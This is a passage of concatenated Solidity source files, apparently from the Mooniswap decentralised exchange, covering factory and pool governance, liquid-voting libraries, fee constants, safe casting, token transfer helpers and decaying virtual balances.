Ownable, Pausable { using Vote for Vote.Data; using ExplicitLiquidVoting for ExplicitLiquidVoting.Data; using VirtualVote for VirtualVote.Data; using SafeMath for uint256; using SafeCast for uint256; event DefaultFeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount); event DefaultSlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount); event DefaultDecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount); event ReferralShareVoteUpdate(address indexed user, uint256 referralShare, bool isDefault, uint256 amount); event GovernanceShareVoteUpdate(address indexed user, uint256 governanceShare, bool isDefault, uint256 amount); event GovernanceWalletUpdate(address governanceWallet); event FeeCollectorUpdate(address feeCollector); ExplicitLiquidVoting.Data private _defaultFee; ExplicitLiquidVoting.Data private _defaultSlippageFee; ExplicitLiquidVoting.Data private _defaultDecayPeriod; ExplicitLiquidVoting.Data private _referralShare; ExplicitLiquidVoting.Data private _governanceShare; address public override governanceWallet; address public override feeCollector; mapping(address => bool) public override isFeeCollector; constructor(address _mothership) public BaseGovernanceModule(_mothership) { _defaultFee.data.result = MooniswapConstants._DEFAULT_FEE.toUint104(); _defaultSlippageFee.data.result = MooniswapConstants._DEFAULT_SLIPPAGE_FEE.toUint104(); _defaultDecayPeriod.data.result = MooniswapConstants._DEFAULT_DECAY_PERIOD.toUint104(); _referralShare.data.result = MooniswapConstants._DEFAULT_REFERRAL_SHARE.toUint104(); _governanceShare.data.result = MooniswapConstants._DEFAULT_GOVERNANCE_SHARE.toUint104(); } function shutdown() external onlyOwner { _pause(); } function isActive() external view override returns (bool) { return !paused(); } function shareParameters() external view override returns(uint256, uint256, address, address) { return (_referralShare.data.current(), _governanceShare.data.current(), governanceWallet, feeCollector); } function defaults() external view override returns(uint256, uint256, uint256) { return (_defaultFee.data.current(), _defaultSlippageFee.data.current(), _defaultDecayPeriod.data.current()); } function defaultFee() external view override returns(uint256) { return _defaultFee.data.current(); } function defaultFeeVotes(address user) external view returns(uint256) { return _defaultFee.votes[user].get(MooniswapConstants._DEFAULT_FEE); } function virtualDefaultFee() external view returns(uint104, uint104, uint48) { return (_defaultFee.data.oldResult, _defaultFee.data.result, _defaultFee.data.time); } function defaultSlippageFee() external view override returns(uint256) { return _defaultSlippageFee.data.current(); } function defaultSlippageFeeVotes(address user) external view returns(uint256) { return _defaultSlippageFee.votes[user].get(MooniswapConstants._DEFAULT_SLIPPAGE_FEE); } function virtualDefaultSlippageFee() external view returns(uint104, uint104, uint48) { return (_defaultSlippageFee.data.oldResult, _defaultSlippageFee.data.result, _defaultSlippageFee.data.time); } function defaultDecayPeriod() external view override returns(uint256) { return _defaultDecayPeriod.data.current(); } function defaultDecayPeriodVotes(address user) external view returns(uint256) { return _defaultDecayPeriod.votes[user].get(MooniswapConstants._DEFAULT_DECAY_PERIOD); } function virtualDefaultDecayPeriod() external view returns(uint104, uint104, uint48) { return (_defaultDecayPeriod.data.oldResult, _defaultDecayPeriod.data.result, _defaultDecayPeriod.data.time); } function referralShare() external view override returns(uint256) { return _referralShare.data.current(); } function referralShareVotes(address user) external view returns(uint256) { return _referralShare.votes[user].get(MooniswapConstants._DEFAULT_REFERRAL_SHARE); } function virtualReferralShare() external view returns(uint104, uint104, uint48) { return (_referralShare.data.oldResult, _referralShare.data.result, _referralShare.data.time); } function governanceShare() external view override returns(uint256) { return _governanceShare.data.current(); } function governanceShareVotes(address user) external view returns(uint256) { return _governanceShare.votes[user].get(MooniswapConstants._DEFAULT_GOVERNANCE_SHARE); } function virtualGovernanceShare() external view returns(uint104, uint104, uint48) { return (_governanceShare.data.oldResult, _governanceShare.data.result, _governanceShare.data.time); } function setGovernanceWallet(address newGovernanceWallet) external onlyOwner { governanceWallet = newGovernanceWallet; isFeeCollector[newGovernanceWallet] = true; emit GovernanceWalletUpdate(newGovernanceWallet); } function setFeeCollector(address newFeeCollector) external onlyOwner { feeCollector = newFeeCollector; isFeeCollector[newFeeCollector] = true; emit FeeCollectorUpdate(newFeeCollector); } function defaultFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high"); _defaultFee.updateVote(msg.sender, _defaultFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); } function discardDefaultFeeVote() external { _defaultFee.updateVote(msg.sender, _defaultFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); } function defaultSlippageFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high"); _defaultSlippageFee.updateVote(msg.sender, _defaultSlippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); } function discardDefaultSlippageFeeVote() external { _defaultSlippageFee.updateVote(msg.sender, _defaultSlippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); } function defaultDecayPeriodVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high"); require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low"); _defaultDecayPeriod.updateVote(msg.sender, _defaultDecayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); } function discardDefaultDecayPeriodVote() external { _defaultDecayPeriod.updateVote(msg.sender, _defaultDecayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); } function referralShareVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SHARE, "Referral share vote is too high"); require(vote >= MooniswapConstants._MIN_REFERRAL_SHARE, "Referral share vote is too low"); _referralShare.updateVote(msg.sender, _referralShare.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); } function discardReferralShareVote() external { _referralShare.updateVote(msg.sender, _referralShare.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); } function governanceShareVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SHARE, "Gov share vote is too high"); _governanceShare.updateVote(msg.sender, _governanceShare.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function discardGovernanceShareVote() external { _governanceShare.updateVote(msg.sender, _governanceShare.votes[msg.sender], Vote.init(), balanceOf(msg.sender), MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function _notifyStakeChanged(address account, uint256 newBalance) internal override { uint256 balance = _set(account, newBalance); if (newBalance == balance) { return; } _defaultFee.updateBalance(account, _defaultFee.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_FEE, _emitDefaultFeeVoteUpdate); _defaultSlippageFee.updateBalance(account, _defaultSlippageFee.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_SLIPPAGE_FEE, _emitDefaultSlippageFeeVoteUpdate); _defaultDecayPeriod.updateBalance(account, _defaultDecayPeriod.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_DECAY_PERIOD, _emitDefaultDecayPeriodVoteUpdate); _referralShare.updateBalance(account, _referralShare.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_REFERRAL_SHARE, _emitReferralShareVoteUpdate); _governanceShare.updateBalance(account, _governanceShare.votes[account], balance, newBalance, MooniswapConstants._DEFAULT_GOVERNANCE_SHARE, _emitGovernanceShareVoteUpdate); } function _emitDefaultFeeVoteUpdate(address user, uint256 newDefaultFee, bool isDefault, uint256 balance) private { emit DefaultFeeVoteUpdate(user, newDefaultFee, isDefault, balance); } function _emitDefaultSlippageFeeVoteUpdate(address user, uint256 newDefaultSlippageFee, bool isDefault, uint256 balance) private { emit DefaultSlippageFeeVoteUpdate(user, newDefaultSlippageFee, isDefault, balance); } function _emitDefaultDecayPeriodVoteUpdate(address user, uint256 newDefaultDecayPeriod, bool isDefault, uint256 balance) private { emit DefaultDecayPeriodVoteUpdate(user, newDefaultDecayPeriod, isDefault, balance); } function _emitReferralShareVoteUpdate(address user, uint256 newReferralShare, bool isDefault, uint256 balance) private { emit ReferralShareVoteUpdate(user, newReferralShare, isDefault, balance); } function _emitGovernanceShareVoteUpdate(address user, uint256 newGovernanceShare, bool isDefault, uint256 balance) private { emit GovernanceShareVoteUpdate(user, newGovernanceShare, isDefault, balance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../interfaces/IMooniswapFactoryGovernance.sol"; import "../libraries/LiquidVoting.sol"; import "../libraries/MooniswapConstants.sol"; import "../libraries/SafeCast.sol"; abstract contract MooniswapGovernance is ERC20, Ownable, ReentrancyGuard { using Vote for Vote.Data; using LiquidVoting for LiquidVoting.Data; using VirtualVote for VirtualVote.Data; using SafeCast for uint256; event FeeVoteUpdate(address indexed user, uint256 fee, bool isDefault, uint256 amount); event SlippageFeeVoteUpdate(address indexed user, uint256 slippageFee, bool isDefault, uint256 amount); event DecayPeriodVoteUpdate(address indexed user, uint256 decayPeriod, bool isDefault, uint256 amount); IMooniswapFactoryGovernance public mooniswapFactoryGovernance; LiquidVoting.Data private _fee; LiquidVoting.Data private _slippageFee; LiquidVoting.Data private _decayPeriod; constructor(IMooniswapFactoryGovernance _mooniswapFactoryGovernance) internal { mooniswapFactoryGovernance = _mooniswapFactoryGovernance; _fee.data.result = _mooniswapFactoryGovernance.defaultFee().toUint104(); _slippageFee.data.result = _mooniswapFactoryGovernance.defaultSlippageFee().toUint104(); _decayPeriod.data.result = _mooniswapFactoryGovernance.defaultDecayPeriod().toUint104(); } function setMooniswapFactoryGovernance(IMooniswapFactoryGovernance newMooniswapFactoryGovernance) external onlyOwner { mooniswapFactoryGovernance = newMooniswapFactoryGovernance; this.discardFeeVote(); this.discardSlippageFeeVote(); this.discardDecayPeriodVote(); } function fee() public view returns(uint256) { return _fee.data.current(); } function slippageFee() public view returns(uint256) { return _slippageFee.data.current(); } function decayPeriod() public view returns(uint256) { return _decayPeriod.data.current(); } function virtualFee() external view returns(uint104, uint104, uint48) { return (_fee.data.oldResult, _fee.data.result, _fee.data.time); } function virtualSlippageFee() external view returns(uint104, uint104, uint48) { return (_slippageFee.data.oldResult, _slippageFee.data.result, _slippageFee.data.time); } function virtualDecayPeriod() external view returns(uint104, uint104, uint48) { return (_decayPeriod.data.oldResult, _decayPeriod.data.result, _decayPeriod.data.time); } function feeVotes(address user) external view returns(uint256) { return _fee.votes[user].get(mooniswapFactoryGovernance.defaultFee); } function slippageFeeVotes(address user) external view returns(uint256) { return _slippageFee.votes[user].get(mooniswapFactoryGovernance.defaultSlippageFee); } function decayPeriodVotes(address user) external view returns(uint256) { return _decayPeriod.votes[user].get(mooniswapFactoryGovernance.defaultDecayPeriod); } function feeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_FEE, "Fee vote is too high"); _fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate); } function slippageFeeVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_SLIPPAGE_FEE, "Slippage fee vote is too high"); _slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate); } function decayPeriodVote(uint256 vote) external { require(vote <= MooniswapConstants._MAX_DECAY_PERIOD, "Decay period vote is too high"); require(vote >= MooniswapConstants._MIN_DECAY_PERIOD, "Decay period vote is too low"); _decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(vote), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate); } function discardFeeVote() external { _fee.updateVote(msg.sender, _fee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultFee(), _emitFeeVoteUpdate); } function discardSlippageFeeVote() external { _slippageFee.updateVote(msg.sender, _slippageFee.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultSlippageFee(), _emitSlippageFeeVoteUpdate); } function discardDecayPeriodVote() external { _decayPeriod.updateVote(msg.sender, _decayPeriod.votes[msg.sender], Vote.init(), balanceOf(msg.sender), totalSupply(), mooniswapFactoryGovernance.defaultDecayPeriod(), _emitDecayPeriodVoteUpdate); } function _emitFeeVoteUpdate(address account, uint256 newFee, bool isDefault, uint256 newBalance) private { emit FeeVoteUpdate(account, newFee, isDefault, newBalance); } function _emitSlippageFeeVoteUpdate(address account, uint256 newSlippageFee, bool isDefault, uint256 newBalance) private { emit SlippageFeeVoteUpdate(account, newSlippageFee, isDefault, newBalance); } function _emitDecayPeriodVoteUpdate(address account, uint256 newDecayPeriod, bool isDefault, uint256 newBalance) private { emit DecayPeriodVoteUpdate(account, newDecayPeriod, isDefault, newBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal override { if (from == to) { // ignore transfers to self return; } IMooniswapFactoryGovernance _mooniswapFactoryGovernance = mooniswapFactoryGovernance; bool updateFrom = !(from == address(0) || _mooniswapFactoryGovernance.isFeeCollector(from)); bool updateTo = !(to == address(0) || _mooniswapFactoryGovernance.isFeeCollector(to)); if (!updateFrom && !updateTo) { // mint to feeReceiver or burn from feeReceiver return; } uint256 balanceFrom = (from != address(0)) ? balanceOf(from) : 0; uint256 balanceTo = (to != address(0)) ? balanceOf(to) : 0; uint256 newTotalSupply = totalSupply() .add(from == address(0) ? amount : 0) .sub(to == address(0) ? amount : 0); ParamsHelper memory params = ParamsHelper({ from: from, to: to, updateFrom: updateFrom, updateTo: updateTo, amount: amount, balanceFrom: balanceFrom, balanceTo: balanceTo, newTotalSupply: newTotalSupply }); (uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod) = _mooniswapFactoryGovernance.defaults(); _updateOnTransfer(params, defaultFee, _emitFeeVoteUpdate, _fee); _updateOnTransfer(params, defaultSlippageFee, _emitSlippageFeeVoteUpdate, _slippageFee); _updateOnTransfer(params, defaultDecayPeriod, _emitDecayPeriodVoteUpdate, _decayPeriod); } struct ParamsHelper { address from; address to; bool updateFrom; bool updateTo; uint256 amount; uint256 balanceFrom; uint256 balanceTo; uint256 newTotalSupply; } function _updateOnTransfer( ParamsHelper memory params, uint256 defaultValue, function(address, uint256, bool, uint256) internal emitEvent, LiquidVoting.Data storage votingData ) private { Vote.Data memory voteFrom = votingData.votes[params.from]; Vote.Data memory voteTo = votingData.votes[params.to]; if (voteFrom.isDefault() && voteTo.isDefault() && params.updateFrom && params.updateTo) { emitEvent(params.from, voteFrom.get(defaultValue), true, params.balanceFrom.sub(params.amount)); emitEvent(params.to, voteTo.get(defaultValue), true, params.balanceTo.add(params.amount)); return; } if (params.updateFrom) { votingData.updateBalance(params.from, voteFrom, params.balanceFrom, params.balanceFrom.sub(params.amount), params.newTotalSupply, defaultValue, emitEvent); } if (params.updateTo) { votingData.updateBalance(params.to, voteTo, params.balanceTo, params.balanceTo.add(params.amount), params.newTotalSupply, defaultValue, emitEvent); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IFeeCollector { function updateReward(address receiver, uint256 amount) external; function updateRewards(address[] calldata receivers, uint256[] calldata amounts) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IGovernanceModule { function notifyStakeChanged(address account, uint256 newBalance) external; function notifyStakesChanged(address[] calldata accounts, uint256[] calldata newBalances) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../Mooniswap.sol"; interface IMooniswapDeployer { function deploy( IERC20 token1, IERC20 token2, string calldata name, string calldata symbol, address poolOwner ) external returns(Mooniswap pool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../Mooniswap.sol"; interface IMooniswapFactory is IMooniswapFactoryGovernance { function pools(IERC20 token0, IERC20 token1) external view returns (Mooniswap); function isPool(Mooniswap mooniswap) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IMooniswapFactoryGovernance { function shareParameters() external view returns(uint256 referralShare, uint256 governanceShare, address governanceWallet, address referralFeeReceiver); function defaults() external view returns(uint256 defaultFee, uint256 defaultSlippageFee, uint256 defaultDecayPeriod); function defaultFee() external view returns(uint256); function defaultSlippageFee() external view returns(uint256); function defaultDecayPeriod() external view returns(uint256); function referralShare() external view returns(uint256); function governanceShare() external view returns(uint256); function governanceWallet() external view returns(address); function feeCollector() external view returns(address); function isFeeCollector(address) external view returns(bool); function isActive() external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./SafeCast.sol"; import "./VirtualVote.sol"; import "./Vote.sol"; library ExplicitLiquidVoting { using SafeMath for uint256; using SafeCast for uint256; using Vote for Vote.Data; using VirtualVote for VirtualVote.Data; struct Data { VirtualVote.Data data; uint256 _weightedSum; uint256 _votedSupply; mapping(address => Vote.Data) votes; } function updateVote( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 balance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newVote, balance, balance, defaultVote, emitEvent); } function updateBalance( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, uint256 oldBalance, uint256 newBalance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, defaultVote, emitEvent); } function _update( ExplicitLiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 oldBalance, uint256 newBalance, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) private { uint256 oldWeightedSum = self._weightedSum; uint256 newWeightedSum = oldWeightedSum; uint256 oldVotedSupply = self._votedSupply; uint256 newVotedSupply = oldVotedSupply; if (!oldVote.isDefault()) { newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote))); newVotedSupply = newVotedSupply.sub(oldBalance); } if (!newVote.isDefault()) { newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote))); newVotedSupply = newVotedSupply.add(newBalance); } if (newWeightedSum != oldWeightedSum) { self._weightedSum = newWeightedSum; } if (newVotedSupply != oldVotedSupply) { self._votedSupply = newVotedSupply; } { uint256 newResult = newVotedSupply == 0 ? defaultVote : newWeightedSum.div(newVotedSupply); VirtualVote.Data memory data = self.data; if (newResult != data.result) { VirtualVote.Data storage sdata = self.data; (sdata.oldResult, sdata.result, sdata.time) = ( data.current().toUint104(), newResult.toUint104(), block.timestamp.toUint48() ); } } if (!newVote.eq(oldVote)) { self.votes[user] = newVote; } emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./SafeCast.sol"; import "./VirtualVote.sol"; import "./Vote.sol"; library LiquidVoting { using SafeMath for uint256; using SafeCast for uint256; using Vote for Vote.Data; using VirtualVote for VirtualVote.Data; struct Data { VirtualVote.Data data; uint256 _weightedSum; uint256 _defaultVotes; mapping(address => Vote.Data) votes; } function updateVote( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 balance, uint256 totalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newVote, balance, balance, totalSupply, defaultVote, emitEvent); } function updateBalance( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, uint256 oldBalance, uint256 newBalance, uint256 newTotalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) internal { return _update(self, user, oldVote, newBalance == 0 ? Vote.init() : oldVote, oldBalance, newBalance, newTotalSupply, defaultVote, emitEvent); } function _update( LiquidVoting.Data storage self, address user, Vote.Data memory oldVote, Vote.Data memory newVote, uint256 oldBalance, uint256 newBalance, uint256 newTotalSupply, uint256 defaultVote, function(address, uint256, bool, uint256) emitEvent ) private { uint256 oldWeightedSum = self._weightedSum; uint256 newWeightedSum = oldWeightedSum; uint256 oldDefaultVotes = self._defaultVotes; uint256 newDefaultVotes = oldDefaultVotes; if (oldVote.isDefault()) { newDefaultVotes = newDefaultVotes.sub(oldBalance); } else { newWeightedSum = newWeightedSum.sub(oldBalance.mul(oldVote.get(defaultVote))); } if (newVote.isDefault()) { newDefaultVotes = newDefaultVotes.add(newBalance); } else { newWeightedSum = newWeightedSum.add(newBalance.mul(newVote.get(defaultVote))); } if (newWeightedSum != oldWeightedSum) { self._weightedSum = newWeightedSum; } if (newDefaultVotes != oldDefaultVotes) { self._defaultVotes = newDefaultVotes; } { uint256 newResult = newTotalSupply == 0 ? defaultVote : newWeightedSum.add(newDefaultVotes.mul(defaultVote)).div(newTotalSupply); VirtualVote.Data memory data = self.data; if (newResult != data.result) { VirtualVote.Data storage sdata = self.data; (sdata.oldResult, sdata.result, sdata.time) = ( data.current().toUint104(), newResult.toUint104(), block.timestamp.toUint48() ); } } if (!newVote.eq(oldVote)) { self.votes[user] = newVote; } emitEvent(user, newVote.get(defaultVote), newVote.isDefault(), newBalance); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library MooniswapConstants { uint256 internal constant _FEE_DENOMINATOR = 1e18; uint256 internal constant _MIN_REFERRAL_SHARE = 0.05e18; // 5% uint256 internal constant _MIN_DECAY_PERIOD = 1 minutes; uint256 internal constant _MAX_FEE = 0.01e18; // 1% uint256 internal constant _MAX_SLIPPAGE_FEE = 1e18; // 100% uint256 internal constant _MAX_SHARE = 0.1e18; // 10% uint256 internal constant _MAX_DECAY_PERIOD = 5 minutes; uint256 internal constant _DEFAULT_FEE = 0; uint256 internal constant _DEFAULT_SLIPPAGE_FEE = 1e18; // 100% uint256 internal constant _DEFAULT_REFERRAL_SHARE = 0.1e18; // 10% uint256 internal constant _DEFAULT_GOVERNANCE_SHARE = 0; uint256 internal constant _DEFAULT_DECAY_PERIOD = 1 minutes; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library SafeCast { function toUint216(uint256 value) internal pure returns (uint216) { require(value < 2**216, "value does not fit in 216 bits"); return uint216(value); } function toUint104(uint256 value) internal pure returns (uint104) { require(value < 2**104, "value does not fit in 104 bits"); return uint104(value); } function toUint48(uint256 value) internal pure returns (uint48) { require(value < 2**48, "value does not fit in 48 bits"); return uint48(value); } function toUint40(uint256 value) internal pure returns (uint40) { require(value < 2**40, "value does not fit in 40 bits"); return uint40(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; library Sqrt { // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256) { if (y > 3) { uint256 z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } return z; } else if (y != 0) { return 1; } else { return 0; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; library UniERC20 { using SafeMath for uint256; using SafeERC20 for IERC20; function isETH(IERC20 token) internal pure returns(bool) { return (address(token) == address(0)); } function uniBalanceOf(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function uniTransfer(IERC20 token, address payable to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { to.transfer(amount); } else { token.safeTransfer(to, amount); } } } function uniTransferFrom(IERC20 token, address payable from, address to, uint256 amount) internal { if (amount > 0) { if (isETH(token)) { require(msg.value >= amount, "UniERC20: not enough value"); require(from == msg.sender, "from is not msg.sender"); require(to == address(this), "to is not this"); if (msg.value > amount) { // Return remainder if exist from.transfer(msg.value.sub(amount)); } } else { token.safeTransferFrom(from, to, amount); } } } function uniSymbol(IERC20 token) internal view returns(string memory) { if (isETH(token)) { return "ETH"; } (bool success, bytes memory data) = address(token).staticcall{ gas: 20000 }( abi.encodeWithSignature("symbol()") ); if (!success) { (success, data) = address(token).staticcall{ gas: 20000 }( abi.encodeWithSignature("SYMBOL()") ); } if (success && data.length >= 96) { (uint256 offset, uint256 len) = abi.decode(data, (uint256, uint256)); if (offset == 0x20 && len > 0 && len <= 256) { return string(abi.decode(data, (bytes))); } } if (success && data.length == 32) { uint len = 0; while (len < data.length && data[len] >= 0x20 && data[len] <= 0x7E) { len++; } if (len > 0) { bytes memory result = new bytes(len); for (uint i = 0; i < len; i++) { result[i] = data[i]; } return string(result); } } return _toHex(address(token)); } function _toHex(address account) private pure returns(string memory) { return _toHex(abi.encodePacked(account)); } function _toHex(bytes memory data) private pure returns(string memory) { bytes memory str = new bytes(2 + data.length * 2); str[0] = "0"; str[1] = "x"; uint j = 2; for (uint i = 0; i < data.length; i++) { uint a = uint8(data[i]) >> 4; uint b = uint8(data[i]) & 0x0f; str[j++] = byte(uint8(a + 48 + (a/10)*39)); str[j++] = byte(uint8(b + 48 + (b/10)*39)); } return string(str); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "./SafeCast.sol"; library VirtualBalance { using SafeMath for uint256; using SafeCast for uint256; struct Data { uint216 balance; uint40 time; } function set(VirtualBalance.Data storage self, uint256 balance) internal { (self.balance, self.time) = ( balance.toUint216(), block.timestamp.toUint40() ); } function update(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance) internal { set(self, current(self, decayPeriod, realBalance)); } function scale(VirtualBalance.Data storage self, uint256 decayPeriod, uint256 realBalance, uint256 num, uint256 denom) internal { set(self, current(self, decayPeriod, realBalance).mul(num).add(denom.sub(1)).div(denom)); } function current(VirtualBalance.Data memory self, uint256 decayPeriod, uint256 realBalance) internal view returns(uint256) { uint256 timePassed = Math.min(decayPeriod, block.timestamp.sub(self.time)); uint256 timeRemain = decayPeriod.sub(timePassed); return uint256(self.balance).mul(timeRemain).add( realBalance.mul(timePassed) ).div(decayPeriod); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; library VirtualVote { using SafeMath for uint256; uint256 private constant _VOTE_DECAY_PERIOD = 1 days; struct Data { uint104 oldResult; uint104 result; uint48 time; } function current(VirtualVote.Data memory self) internal view returns(uint256) { uint256 timePassed = Math.min(_VOTE_DECAY_PERIOD, block.timestamp.sub(self.time)); uint256 timeRemain = _VOTE_DECAY_PERIOD.sub(timePassed); return uint256(self.oldResult).mul(timeRemain).add( uint256(self.result).mul(timePassed) ).div(_VOTE_DECAY_PERIOD); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library Vote { struct Data { uint256 value; } function eq(Vote.Data memory self, Vote.Data memory vote) internal pure returns(bool) { return self.value == vote.value; } function init() internal pure returns(Vote.Data memory data) { return Vote.Data({ value: 0 }); } function init(uint256 vote) internal pure returns(Vote.Data memory data) { return Vote.Data({ value: vote + 1 }); } function isDefault(Data memory self) internal pure returns(bool) { return self.value == 0; } function get(Data memory self, uint256 defaultVote) internal pure returns(uint256) { if (self.value > 0) { return self.value - 1; } return defaultVote; } function get(Data memory self, function() external view returns(uint256) defaultVoteFn) internal view returns(uint256) { if (self.value > 0) { return self.value - 1; } return defaultVoteFn(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; contract BalanceAccounting { using SafeMath for uint256; uint256 private _totalSupply; mapping(address => uint256) private _balances; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function _mint(address account, uint256 amount) internal virtual { _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint256 amount) internal virtual { _balances[account] = _balances[account].sub(amount, "Burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _set(address account, uint256 amount) internal virtual returns(uint256 oldAmount) { oldAmount = _balances[account]; if (oldAmount != amount) { _balances[account] = amount; _totalSupply = _totalSupply.add(amount).sub(oldAmount); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access 